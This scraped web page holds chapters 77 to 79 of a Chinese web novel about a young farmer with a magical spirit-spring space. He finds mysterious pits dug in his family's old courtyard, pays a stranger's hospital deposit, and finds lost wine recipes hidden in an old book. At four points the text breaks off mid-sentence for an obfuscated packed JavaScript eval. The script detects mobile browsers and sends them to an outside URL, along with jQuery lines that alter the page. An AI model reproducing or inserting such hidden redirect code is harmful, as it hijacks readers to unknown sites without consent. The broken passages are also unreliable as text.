一点多，莫天扬将大烩菜的任务交给了曹慧，自己则进入厨房，开始精心烹制陈峰他们准备好的野味山珍。 有了私密的会客室，莫天扬便将午餐安排在这里。封闭的空间让众人更显放松。 “天扬！这黑木耳脆嫩爽口，地皮菜鲜滑无比，雪灵菇的香气更是绝了！你到底给我们送了多少过去？”王传林一边大快朵颐，一边忍不住问道。 李红军刚啃完一块带骨肉，连骨缝里的汤汁都吸吮干净，闻言哈哈一笑：“老王，你还好意思问？就这普通的带骨猪肉，我刚才差点把盘子都舔了！” 他目光灼灼地看向莫天扬，“天扬，真不知道该怎么说你！名牌大学的高材生，窝在村里种地，种出来的菜是顶级的，这厨艺……更是碾压五星级！你简直就是个妖孽！” “天扬，”王传林接过话头，语气诚恳，“过几天我在沛川组个家宴，你一定得来！带你认识认识你嫂子她们。这段时间，家里的女人们可没少念叨你。我们都来你这儿两趟了，你怎么也得给我们个面子，过去一趟吧？” 莫天扬有些迟疑：“我一个种菜的，去沛川那种场合……” “千万别小看自己！”王传林正色道，“你可不是普通人。现在事业刚起步，多出去走走，见见世面，认识些人，对你将来的发展绝对大有好处！” 莫天扬沉默了。从高中到大学再到回村，他走过的地方确实不多，连近在咫尺的浅驼县都陌生得很。 “行，”他最终点头，“那我抽个时间过去看看，到时候就麻烦各位了。” 见他答应，王传林几人顿时喜形于色。“什么麻烦不麻烦！到时候你露一手，让沛川那些眼高于顶的大厨们开开眼！”李红军兴奋地拍手。 莫天扬一愣，连忙摆手：“快别这么说！我这也就是点乡下大席的手艺，上不得台面。真去了，丢脸的可是我！” 在座众人都不由得笑着摇头。心想：若是让那些星级酒店的主厨们尝过眼前这几道菜，再听到莫天扬这番“自谦”，只怕会羞愤得无地自容。 “天扬，”席间另一位老板好奇地问，“你会做海鲜吗？” 莫天扬坦诚地摇摇头：“这个还真没怎么做过。以前出去做席，条件好的顶多也就是个带鱼。海鲜……没机会上手。等以后有时间，倒是可以琢磨琢磨。”他眼中闪过一丝对未知领域的好奇。 夕阳西沉，将天边染成一片橘红。王传林一行人带着满足离去，喧嚣了一天的菜地终于安静下来。莫天扬看到陈峰、曹慧他们仍在厨房忙碌，便深吸一口带着泥土和草木气息的空气，打算去老院子那边看看工程的进展。 刚走到门口，却见陈宏利从菜地深处钻出来，脸色有些异样。看到莫天扬，他立刻用力招了招手，神情凝重。 “天扬，你跟我来一下。” 莫天扬心头掠过一丝疑惑，快步跟上。两人穿过几畦长势正旺的蔬菜，陈宏利在一片茄子地前猛地停住脚步。 眼前的景象让莫天扬瞳孔骤缩！ 只见原本整齐的茄子秧七零八落地倒伏一地，根部裸露在外，沾满湿泥。而在菜畦中央，赫然出现一个狰狞的巨大深坑！ 直径足有三四米，深达五六米，坑壁陡峭，泥土翻新，散发着浓重的土腥气。仿佛被一只巨兽狠狠刨开，又像是被粗暴地掘地三尺。 “这是……怎么回事？”莫天扬的声音沉了下来。 陈宏利脸上带着懊恼和愤怒：“还能怎么回事！是被人挖的！上午人多眼杂没注意，下午才发现！除了这里，”他指着坑洞，声音压抑着怒火，“还有两处地方，被挖了同样的大坑！看这架势，像是有人在找什么东西！” 莫天扬眼底闪过震惊。这老院子年代久远，是祖爷爷那辈兄弟八人耗尽心血才建起来的，村里老人皆知。会有什么秘密埋藏在地下？又是谁，敢如此明目张胆地潜入挖掘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013938|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ “只有这三处坑？” “坑是这三处，”陈宏利咬着牙，“但脚印到处都是！不少菜都被踩得稀烂！” 莫天扬看着倒伏的茄子，心头沉重：“宏利，辛苦你把这些被挖倒的茄子尽量扶正栽回去，多浇点水，看能不能救活。我得去问问爷爷。”这事透着蹊跷，必须找最了解家族过往的人。 莫啸的简易房里，电视正咿咿呀呀地放着戏曲。看到孙子推门进来，老爷子有些意外，瞥了眼窗外渐暗的天色：“外面忙完了？” “嗯，爷爷，”莫天扬坐到床边，语气凝重，“咱家老院子……被人挖了。挖了好几个大坑，深得很，像是……在找什么东西。爷爷，咱家老院子底下，是不是真埋着什么？” 莫啸握着遥控器的手猛地一顿！他那双平日里总是浑浊的眼睛，陡然间闪过一丝极其锐利的光芒，如同鹰隼般投向莫天扬，但转瞬即逝，又恢复了那副老态龙钟的模样。 “咱家……院子被人挖了？”他的声音带着一丝不易察觉的沙哑。 “嗯，三个大坑，每个都三四米见方，深达五六米！” 莫啸沉默了片刻，缓缓摇头，声音低沉而肯定：“咱家的情况，当年你祖爷爷他们兄弟八个，活活累死在这片地上六个。要真有值钱的老物件埋着，他们何至于此？早就挖出来救命了。” 说完这话，老爷子枯槁的手微微攥紧了椅子扶手，浑浊的眼眸深处，似乎有极其复杂的光芒在翻涌，但当莫天扬看过去时，那里又只剩下平静的浑浊。 “天扬啊，”莫啸重重叹了口气，目光落在孙子年轻却已显出沉稳的脸上，“你这孩子……不到两个月，就折腾出这么大的动静。又是天价蔬菜，又是引来各路有钱人，还要推了老屋盖新房……这风头太盛了！树大招风的道理，你该懂。任谁看了，心里能没点想法？都以为你得了泼天的好处了。” 莫天扬心头苦涩。他能有今天，全赖那逆天的灵泉空间。可外人怎会知晓？他们只会猜测，是这个神秘的老院子给了他什么奇遇，才让他陡然有了大笔资金平整沙地、大兴土木。 “爷爷，我的情况，您最清楚……”他试图解释。 “我清楚！胡标他们几个也清楚！”莫啸打断他，浑浊的眼睛里透着洞悉世事的清醒，“可有什么用？别人信吗？他们只相信自己愿意相信的！尤其现在，安云飞那小子又回来了……接下来会刮什么风，下什么雨，你心里得有个数！” 老人顿了顿，语气前所未有的严肃，每个字都像重锤敲在莫天扬心上： “藏拙！孩子，要懂得藏拙！锋芒太露，就是把自己架在火上烤！每一步都要走稳，走踏实！千万别给那些躲在暗处，等着看你摔跟头、甚至想把你拽下来的人……留下任何可乘之机！”** 窗外的暮色渐沉，将老人的身影笼罩在一片昏暗中，唯有那双眼睛，在阴影里闪烁着洞悉世事的光芒。莫天扬的心，随着爷爷的话语，一点点沉了下去。 第七十七章这钱我来出 夜幕低垂，吞噬了最后一抹天光。吃过晚饭的人们相继离去，喧嚣的院落重归寂静。莫天扬带着大青和小白，在残破的老院子和外围的菜地间仔细巡视了一圈。 回到自己的简易房，他心头依旧萦绕着那几个突兀的大坑——究竟是谁？在寻找什么？ 思绪纷乱，却理不出头绪。或许真如爷爷所说，是自己的“发达”招来了无端的猜测，引得某些人以为他在老宅下挖到了什么宝藏…… 他拍了拍大青厚实的背脊，低声嘱咐了几句，然后带着小白，闪身进入了灵泉空间。 空间里依旧生机盎然。仅仅过去一天，那些被采摘过的蔬菜仿佛从未被动过，再次挂满了累累果实，散发着诱人的光泽。莫天扬无心欣赏这奇迹，疲惫地弯下腰，开始了新一轮的采摘劳作…… 不知过了多久，直到腰背传来熟悉的酸痛感，他才直起身，长长吁了口气。随手摘了个鲜红的西红柿，他一边咬着多汁的果肉，一边漫无目的地走着。当脚步停在那个栽种着老山参的种植箱前时，他猛地顿住了！ 只见在那株珍贵老山参周围的种植槽中，竟悄然拱出了一片片嫩绿！一株株顶着三片掌状复叶的小苗，正怯生生地探出头来！ 三花！这是一年生的山参幼苗！ 预想成真了！虽然只是最稚嫩的一年参，巨大的喜悦仍瞬间冲散了莫天扬的疲惫。他蹲下身，小心翼翼地拨开泥土细数，心头的激动难以言喻。密密麻麻，竟有上百株之多！ 尽管一年参的价值微乎其微，莫天扬还是强忍着腰酸，小心翼翼地将这些承载着未来希望的小生命，一株一株分栽到新的种植箱中。他知道，在这神奇的灵泉空间里，只要给予时间，经历几次蜕变，它们终将成为价值连城的老山参！ 目光投向不远处那株同样需要分株的黄芪，莫天扬捶了捶发僵的后腰，最终还是心念一动，带着小白离开了空间。今天，实在太过疲惫了。黄芪，只能留待明日。 清晨，闹钟准时响起。莫天扬迅速起身洗漱，随后进入菜地，将昨夜在空间里采摘的新鲜蔬菜，“补充”到相应的地块。 朝阳初升，金色的光芒洒满大地。莫天扬直起酸痛的腰身，将最后一筐黄瓜搬出菜地。抬眼望去，曾经的老屋已彻底化为废墟，只余断壁残垣。一股难以言喻的怅惘悄然涌上心头——那破旧的屋子，毕竟承载了他二十年的光阴与记忆。 “天扬，你得跑趟县城了。”身后忽然传来陈宏利的声音，带着一丝凝重。 莫天扬转身，疑惑道：“去县城？什么事？” 陈宏利苦笑摇头：“早上……涛哥去店里的路上，出车祸了。” “什么？！”莫天扬心头一紧，脸色骤变，“他怎么样？伤得重不重？” “听店里的人说，人撞晕过去了，万幸没大事，就是惊吓不小。” 莫天扬这才松了口气：“人没事就好。那我过去看看他。” “凌飞的车马上装满了菜，正好捎你过去。” 莫天扬点头，快步朝货车方向走去。刚走出几步，他脚步猛地一顿，像是想起了什么，又折返回自己的简易房。再出来时，他手中多了一根油光锃亮、显然常年摩挲的旧木棍，以及一个洗得发白、印着大学logo的旧背包。 “天扬，”正指挥装车的凌飞见状，有些不解地调侃道，“这年头货车安全得很，你又是‘狼王’，青狼都是你兄弟，还怕路上不安全？” 莫天扬没有回头，目光越过喧嚣的工地，投向远处那在晨光中更显巍峨险峻的青木山脉。他深吸一口气，声音低沉而清晰： “青狼……不可怕。可怕的是那些两条腿的畜生。” 凌飞脸上的笑容瞬间凝固。他当然明白莫天扬话中那冰冷的锋芒指向何处。一股寒意，无声地爬上脊背。 …… 浅驼县人民医院。望着那几个熟悉又冰冷的大字，莫天扬不由得摇头苦笑。他想起了上次送那个陌生女孩来的情景。书里总说什么“救命之恩以身相许”，可现实呢？他连对方名字都不知道，还倒贴了几万块钱。 推开一间普通病房的门，正在刷手机的张学涛看到突然出现的莫天扬，惊讶地坐直了身体：“天扬？你怎么来了？” “宏利听你店里人说了车祸的事，我怎么能不来看看？”莫天扬走到床边，关切地问，“人没事吧？” 张学涛摆摆手，脸上带着庆幸：“真没事！安全带和气囊护着呢，就是撞懵了，有点头晕。医生检查过，说下午就能出院。” 确认好友无恙，莫天扬悬着的心彻底放下。两人闲聊了一阵，莫天扬便告辞离开。难得进趟县城，他也想顺便逛逛，看看市面。 刚走到一楼急诊大厅门口，一阵压抑的嘈杂声和围观的人群吸引了他的注意。医院里这种**，通常意味着不寻常。莫天扬皱了皱眉，下意识地挤了过去。 透过人缝，他看到了揪心的一幕： 一个穿着沾满泥灰、洗得发白的建筑工服的中年男人，胡子拉碴，满面风霜与绝望，正跪在冰冷的地砖上，额头几乎抵着地面。他身边简陋的急救床上，躺着一位头发花白、面容痛苦的老妇人。她的一条腿血肉模糊，鲜血浸透了裤管，甚至洇湿了大片床单，刺目的红色触目惊心。老人显然已陷入昏迷，脸色惨白如纸。 “医生！求求您！求求您救救我妈啊！”中年汉子声音嘶哑，带着哭腔，一边哀求，一边用力地磕着头，额前已见淤青。每一次磕碰地面的闷响，都像敲在围观者的心上。 此情此景，别说莫天扬，连周围的患者和家属都面露不忍，唏嘘不已。他们的目光带着同情和期盼，齐齐投向急诊室门口站着的一位三十多岁、穿着白大褂的中年医生和他身后的护士。 “医生，快救人吧！老人家伤得这么重，流了这么多血，耽误不得啊！”一位好心人忍不住出声催促。 那中年医生眉头紧锁，脸上掠过一丝明显的不耐烦和厌烦，狠狠瞪了说话的人一眼：“医院不是慈善机构！他就掏得出三四百块，连急诊费都不够！你那么好心，你替他垫付检查费、手术费啊？只要钱到位，我立刻办手续！”他的声音冰冷而尖锐，在压抑的大厅里格外刺耳。 “你是医生！救死扶伤是你的天职啊！”那人被噎了一下，仍据理力争。 中年医生脸色一沉，声音拔高了几分：“我是医生没错！但我不是圣人菩萨！别跟我扯什么道德** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020175|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！要么马上交钱，要么赶紧拉走！别堵在这儿！”他斩钉截铁，毫无转圜余地。 地上跪着的中年闻言，如同被抽走了脊梁骨，身体剧烈地颤抖起来，绝望的泪水混着额头的尘土流下，只剩下更加卑微的哀求和更加沉重的磕头声。 这绝望的一幕，像一根尖锐的刺，狠狠扎进了莫天扬的心脏！几个月前，自己重伤在床，若非陈峰、曹勇他们倾力相助，四处筹钱，他的腿恐怕就真的废了！那种被金钱卡在生死边缘的无助和恐惧，瞬间涌上心头，感同身受！ 一股热血直冲头顶！莫天扬猛地分开人群，大步走到那冷漠的医生面前，目光锐利地直视对方，声音不高却异常清晰： “一共需要多少钱？我替他垫上！” 话音落下，整个急诊大厅门口瞬间安静下来。所有目光齐刷刷聚焦在这个衣着普通、神情坚定的年轻人身上。地上跪着的王海龙猛地抬起头，泪眼婆娑中爆发出难以置信的希冀光芒，如同抓住了最后一根救命稻草。 中年医生显然没料到真有人出头，愣了一下，上下打量着莫天扬朴素的穿着，嘴角撇了撇，带着一丝不易察觉的轻蔑：“断腿！情况很严重！押金至少两万！你有吗？”他故意报了个不小的数字。 “嘶——” 人群中响起一片倒吸冷气的声音，不少人下意识地又后退了一步。王海龙更是浑身一颤，刚刚燃起的希望之火仿佛被一盆冰水浇下，眼神瞬间黯淡下去，巨大的绝望再次将他吞噬。 然而，下一秒，他像是用尽了全身力气，猛地扑过来，粗糙、布满老茧和裂口的大手死死抓住莫天扬的胳膊，声音颤抖得不成样子：“小兄弟！小兄弟！你放心！只要你救了我妈，我王海龙对天发誓！这辈子当牛做马，做苦力、**卖命也一定把钱一分不少地还给你！求求你！救救她！求求你！”他的指关节因用力而发白，眼中是孤注一掷的哀求。 莫天扬心头一酸，他清晰地感受到了王海龙话语里那份沉甸甸的、近乎卑微的真诚和急迫。他轻轻拍了拍那双因长年劳作而无比粗糙的大手，声音沉稳而有力： “大哥，先别说这些。救人要紧！” 说罢，他毫不犹豫地转身，跟着护士走向缴费窗口。 有钱开路，效率惊人。不到五分钟，莫天扬拿着厚厚一叠缴费单据走了回来。他将单据郑重地交到王海龙颤抖的手中：“大哥，三万押金。让医生赶紧救人！如果后续费用不够，你打这个电话给我……”他迅速在单据背面写下自己的号码。 医生和护士看着王海龙手中那叠确凿无疑的缴费单，再无二话，立刻行动起来，动作麻利地将昏迷的老妇人推进了急救室。 看着母亲被推进那道象征着希望的门，王海龙紧绷的神经瞬间崩溃。他猛地转身，再次“扑通”一声跪倒在莫天扬面前，这一次，是感激涕零的重重一跪！ “恩人！您是我妈的救命恩人！是我王海龙这辈子的大恩人！我……”他哽咽着，激动得语无伦次，就要磕头。 莫天扬眼疾手快，一把用力将他搀扶起来：“快起来！别这样！现在最重要的是阿姨平安！记住我的电话，有任何情况，随时联系我！” 第七十八章冤大头？ 在周围人群或赞许、或看“冤大头”的复杂目光注视下，莫天扬离开了医院。 站在医院门外，他再次回望那冰冷的大门，深吸一口气，缓缓摇头。与上次垫付医药费后的肉疼不同，这一次，为王海龙这个陌生人垫付的三万块，竟未在他心底激起一丝波澜，只有一种奇异的平静。 他转身环顾四周，目光不由自主地投向一个熟悉的方向——他的高中母校。四年多了，他一次也没回去过。记忆里，每逢周末，学校附近那条街上总会有个热闹的跳蚤市场，东西便宜得让人心动。不知如今，它是否还在？ 走到熟悉的校门口，望着里面依稀的景色，莫天扬的思绪飘到了恩师石普雷身上。是石老师，在他最困顿时，偷偷塞在背篓里的那三千八百块钱，给了他第一笔启动资金！这段时间，张学涛一直按时将蔬菜豆芽送去给老师，也不知老师身体可还硬朗？ 想到老师佝偻着腰、悄悄放钱的情景，莫天扬心头一热，涌起一股强烈的冲动想拨通电话。但手指悬在屏幕上方，终究还是放下了。事业刚起步，等再稳当些，找个充裕的时间，好好陪老师坐坐，聊聊。他暗暗下了决心。 绕过学校围墙，一阵久违的、熙熙攘攘的喧闹声便钻入耳中。莫天扬心头一松，嘴角不自觉扬起——还在！那充满烟火气的跳蚤市场，果然还在！ 眼前是一条略显破败的老街，道路两旁挤满了五花八门的摊位，留出的通道里人头攒动，此起彼伏的吆喝声、讨价还价声交织成一片独特的市井交响曲。 农产品、廉价小商品、过季衣物、日用杂货……琳琅满目。听着熟悉的乡音吆喝，莫天扬恍然回到了囊中羞涩的高中时代，那时，他更多是带着羡慕的目光“逛”市场。如今不同了，他脚步不疾不徐，饶有兴致地听着报价，目光扫过一件件商品。虽然当年买得少，但他深知这鱼龙混杂之地，藏着“捡漏”的可能。 经过一个售卖劳保用品的摊位，莫天扬停了下来。他想起了曹勇他们——干活时穿的旧衣服，好些都打满了补丁，看着就让人心酸。眼前这些结实耐磨的劳保服，不正合适吗？价格肯定比买新衣划算得多。 “老板，这衣服怎么卖？”他拿起一套深蓝色的工装。 摊主抬眼，快速扫了下莫天扬朴素的穿着，眼珠转了转：“男款一百四一套，女款一百三。” 莫天扬淡淡一笑。从高中到大学，他早就练就了一身精打细算的本事，砍价更是炉火纯青。加上他一次性要的数量不少，不过十来分钟，便谈妥了价码：男装八十，女装六十。 “小兄弟，货是现在提走，还是……”摊主问。 “不急，”莫天扬摆摆手，“我给你个地址和电话，晚上你按量送过去，自然会有人给你结账。记住，质量一定要最好的！” “成！没问题！”摊主满口答应，接过莫天扬写下的张学涛地址和电话，脸上却带着几分将信将疑。 离开劳保摊位，莫天扬继续在拥挤的市场里穿行。和过去只能“过眼瘾”不同，如今手头宽裕的他，生怕错过了什么好东西。 当他经过一个旧书摊时，脚步猛地顿住！ 吸引他目光的，是随意堆在地上的一摞线装书。纸张大多呈现出深沉的焦黄色，书角卷曲破损，散发着淡淡的霉味和岁月的沧桑感。 这并非莫天扬发现了什么稀世珍宝，而是源于那段拮据的岁月。高中时，图书馆里那些泛黄的旧书，曾是他消磨时光、汲取知识的主要慰藉。久而久之，他对这些承载着时光的纸页，便有了一种特殊的情怀。 他蹲下身，摊位前已有几位白发苍苍的老人正戴着老花镜，小心翼翼地翻拣着。莫天扬随手拿起几本翻看，又抬眼瞥了瞥摊主，眼底掠过一丝不易察觉的无奈。这些年浸淫旧书，他仅凭纸张的触感和厚薄，便能分辨出不少猫腻——眼前这堆所谓“古籍”，恐怕大半是粗劣的仿品。 “小兄弟，这可都是我从乡下老宅子里一本本‘淘’回来的宝贝，童叟无欺，一百块一本！”摊主见他年轻，热情地推销道。 莫天扬没搭话，只是沉默地将手伸进那堆泛黄的纸堆里，指尖在书脊、书页边缘轻轻摩挲、捻动。拿起一本，只消几秒钟的触感和分量判断，便又放下。他这近乎“敷衍”的动作，惹得旁边几位认真“淘宝”的老人频频侧目，眼中流露出明显的不悦。 莫天扬自然感觉到了那些目光里的含义，但他毫不在意。冷眼与轻视，他早已习惯。 忽然，他的指尖触碰到一本书脊。动作微不可察地一顿！他将其抽了出来。这是一本没有题签的线装书，封面空白，纸张颜色更深，手感也略有不同。他不动声色地翻开几页，目光飞速扫过，随即轻轻合上，将它单独拢在身侧。 半个多小时后，莫天扬终于站起身，扬了扬手中挑好的三本略显破旧的书册：“老板，就这三本。” 付了钱离开，身后摊主撇了撇嘴，鼻孔里几乎要哼出声来。他全程盯着这个“外行”小子，看他拿起书就摸两下便丢开，心中早已认定这是个不懂装懂、瞎凑热闹的主儿。那点嘲讽，几乎写在了脸上。 摊主没有看到，转身离去的莫天扬，眼底深处正翻涌着难以抑制的激动！虽然只是粗略翻看了几页，但凭借这些年浸淫旧书的眼力和手感，他有**九成九**的把握——手中这三本不起眼的破书，其价值，**远非**那区区劳保服钱可比！这一趟，绝对捡着大漏了！ 又在喧闹的跳蚤市场里转了一圈，莫天扬再无其他发现。他正打算打道回府，目光却被一个规模不小的山货摊位牢牢吸引。 木耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022155|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、蘑菇、各种叫不出名的草药、奇形怪状的山石、虬结盘绕的树根……琳琅满目的山野之物铺展了足有上百平米。作为青木山下长大的孩子，莫天扬只消扫了几眼，便断定摊位上大部分都是货真价实的山货。这难得的“实在”，让他不由得走了过去。 “老板，这株山参怎么卖？”他指着一株品相尚可的参。 摊主打量了他一眼，脸上立刻堆起笑容：“小兄弟好眼力！这可是实打实的十年老山参！一口价，五千！” 莫天扬心里暗笑。参芦的形态早已出卖了它的年龄——顶多五年参龄。这种年份的山参，市价不过百十来块。老板显然是把他当成了待宰的肥羊。 他面上不动声色，一边随口问着其他山货的价格，一边目光锐利地在摊位上逡巡。当走到摊位最边缘，一堆不起眼、甚至有些碍眼的“垃圾”吸引了他的注意。 那是一截**腐朽不堪、裹满干涸泥土的粗大树根**，黑黢黢的，像是被雷劈火烧过。泥土缝隙间，还能看到**几个隆起的、同样焦黑的瘤状凸起**，露出的木质部分也呈现出深沉的炭黑色，仿佛轻轻一碰就会碎裂成渣。这种近乎废物的东西出现在山货摊上，本身就透着古怪。 “老板，这是什么？”莫天扬指着那堆焦黑问道。 摊主正被问得不耐烦，瞥了一眼，没好气地说：“哦，青木山深处挖出来的老树根，不知道什么年头了。你要？三百块拿走！”语气里满是打发。 “我能仔细看看吗？”莫天扬追问。 “死沉死沉的，要看自己过去看！”摊主挥挥手，懒得再搭理。 莫天扬绕到摊位后面，蹲下身，仔细端详这截腐朽的巨物。就在他靠近的瞬间，一股**极其微弱、却异常清冽独特的异香**，若有若无地钻入他的鼻腔！ 这香味极其特别，寻常人恐怕根本察觉不到！莫天扬心头猛地一跳！**单凭这股能穿透腐朽气息的神秘异香，就足以断定此物绝非凡品！** “老板，这个……能再便宜点吗？”他强压下心头的悸动，抬头问道。 摊主一愣。这小子问东问西半天，贵的嫌贵，便宜的又看不上，现在居然对这根他摆出来无数次、无人问津的破树根起了兴趣？摊主眼珠飞快地转了几圈，试探着降价：“啧……行吧行吧，看你诚心要，一口价，二百！不能再少了！” 让他肠子都悔青的是，莫天扬竟**毫不犹豫地掏出两张百元钞票拍在他手里**：“成交！麻烦给找个结实点的袋子。” 话音未落，他已俯身，略显吃力地扛起那截分量不轻、散发着腐朽与异香混合气息的焦黑树根，转身便汇入了熙攘的人流，留下摊主捏着两张钞票，望着那离去的背影，心头莫名地泛起一丝嘀咕：这破树根……难道真有什么说道？ 第七十九章屠苏、凝露 出租车消失在通往县城的方向。莫天扬深吸一口山野间清冽的空气，扛起那个装着焦黑树根的大袋子，快步走向路边一处隐蔽的低洼地。 确认四下无人，他迅速解开袋子，心念一动，将那截散发着腐朽与异香的神秘树根送入灵泉空间。就在树根消失的刹那—— **轰！** 一股难以言喻的灼痛感猛然从胸口炸开！仿佛有一块滚烫的烙铁死死摁在了那个印记之上！ 这突如其来的剧痛，其猛烈程度，竟与当初灵泉空间初次认主时不相上下！莫天扬闷哼一声，瞬间弓起了腰，额头上冷汗涔涔，几乎站立不稳。 他强忍着那几乎要撕裂灵魂的炙热，眼中充满了骇然！他已知晓，新物种进入空间会引发变化，变化的剧烈程度往往与物种的珍稀程度成正比。 那截腐朽树根虽有异香，他料定不凡，却万万没料到，竟能引发如此恐怖的空间震荡！ “这……这到底是什么东西？”莫天扬咬着牙，心头掀起惊涛骇浪，“难道……它和空间里那株九彩荷莲一样，是……是远古遗存的绝世奇珍？！” 胸口的灼痛如同岩浆翻涌，他强撑着掏出手机，拨通了张学涛的电话，声音带着不易察觉的颤抖，简短交代了劳保服送货付款的事宜。 回到青木村，眼前一片热火朝天。机器的轰鸣震耳欲聋，大院外各种建材堆积如山。然而，这一切喧嚣竟丝毫未能阻挡游客们的热情，菜地周围依旧人头攒动。 “天扬，”坐在简易房门口晒太阳的爷爷莫啸，眯着眼，脸上带着难得的惬意，“听人说那个涛子出车祸了？人咋样？” 莫天扬压下胸口的余悸，有些意外爷爷今天没看电视：“没事，爷爷，就是撞懵了，有点头晕。您今天怎么没看戏匣子？” 莫啸用烟袋锅指了指喧闹的人群和菜地：“红火不过人看人呐……这热闹劲儿，几十年都没见过了。”浑浊的眼中，映着久违的生气。 “我先回去洗把脸。”莫天扬点点头，快步走进自己的简易房。 用凉水洗去脸上的尘土和冷汗，莫天扬的心跳才稍稍平复。他迫不及待地从背包里拿出那三本在跳蚤市场“捡”回来的旧书。在地摊上时间仓促，无法细究，现在终于可以好好研究一番了。 他先快速翻阅了内容：一本图文并茂记载各种药草，一本阐述古代农业种植精要，还有一本是深奥的古医书。三本书封面俱无题签，无法判断具体书名。 莫天扬虽非中医，但也知《本草纲目》、《齐民要术》等经典。虽不知手中是否就是这些传世之作，但他凭借多年浸淫旧书的直觉，**百分百确信这三本都是货真价实的古籍孤本！** 将药草图鉴和古医书小心收好，他拿起那本农业古籍，想看看古人的种植智慧。刚翻开第一页，指尖却传来一丝异样——这封面……似乎比寻常书籍要厚实不少？ 他心中一动，用指腹仔细捻了捻封面边缘，果然感觉有夹层！莫天扬立刻取出一把小刀，屏住呼吸，沿着书脊边缘，用刀尖极其小心、极其缓慢地划开一道细缝。 片刻之后，一张折叠整齐、**薄如蝉翼、触手冰凉滑腻的白色丝绢**，被他从夹层中轻轻抽了出来。展开一看，巴掌大小的丝绢上，密密麻麻写满了细若蚊足、却清晰异常的蝇头小楷！ 莫天扬的心跳骤然加速！他深吸一口气，将丝绢平铺在简易桌上，凑近灯光，逐字逐句地辨认起来。 十几分钟后，他猛地抬起头，眼中爆发出难以遏制的狂喜光芒！ 屠苏酒！凝露浆！ 丝绢上记载的，竟是两种早已失传于五代十国乱世的绝世古酒配方！其酿造工艺之繁复，用料之考究，功效之玄妙，远超他看过的任何古籍记载！ 莫天扬激动得手指都在微微颤抖！他用力做了几个深呼吸，才勉强压下心头的狂澜。失传千年的宫廷御酿配方！这价值……简直无法估量！若能成功酿制出来，其带来的名望与财富，足以让他在青木山彻底站稳脚跟，甚至一飞冲天！ “赚翻了！这次真是捡了泼天的大漏！”他低声自语，声音因激动而有些沙哑。 他小心翼翼地将这承载着无价之宝的丝绢重新叠好。环顾这简陋的住所，他找来一个防水密封袋，将丝绢仔细装入封好。接着，又寻到一个坚固的小木盒，将密封袋放入其中。最后，心念微动—— 木盒瞬间消失在手中，被他珍而重之地送入了灵泉空间最深处。唯有在那里，这改变命运的秘方，才真正万无一失。做完这一切，他才长长舒了一口气，仿佛卸下了千斤重担，眼中只剩下对未来无限可能的憧憬。酿酒的念头，如同种子，已在心底悄然生根发芽。 戴上口罩，莫天扬走出房间。空气中弥漫着大烩菜的香气，曹慧正围着大灶忙碌。见莫天扬过来，她擦了擦额角的汗，笑着问：“天扬，你来掌勺？” 莫天扬摆摆手，语气温和：“慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025977|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐，你做就好，我看着就行。”他知道曹慧在努力掌握他的手法。 曹慧明白他的用意，是给自己锻炼的机会，便点点头：“行，那你看着点，有哪里不对的，可要提醒我啊。” “炖肉的汤汁收得怎么样？火候够吗？”莫天扬走近看了看锅。 “都是按你给的方子来的，”曹慧有点不好意思，“不过手法和火候肯定比不上你，香味差不少。” “没事，慢慢来，熟能生巧。”莫天扬鼓励道。 忙过中午的喧嚣，大家围坐在一起吃饭。饭后，曹勇放下碗筷，看向莫天扬：“天扬，莫老三那老院子我拾掇出来了。五间房，院子也敞亮，你打算啥时候搬过去？” 莫天扬略感意外，随即摇摇头：“先空着吧。对了，回头问问吕建国他们工程队，要是愿意，让他们的人搬那边去住段时间，总比挤在简易房里强。” “那沙地呢？空着也是空着。”胡标问道。 “嗯，”莫天扬沉吟一下，“回头弄点苜蓿种子撒下去，先养养地。” 说完，他深吸一口气，目光扫过胡标、曹勇、陈峰等几个核心伙伴：“还有个事儿，咱们村，或者附近村子，能弄到品质好点的红高粱吗？” 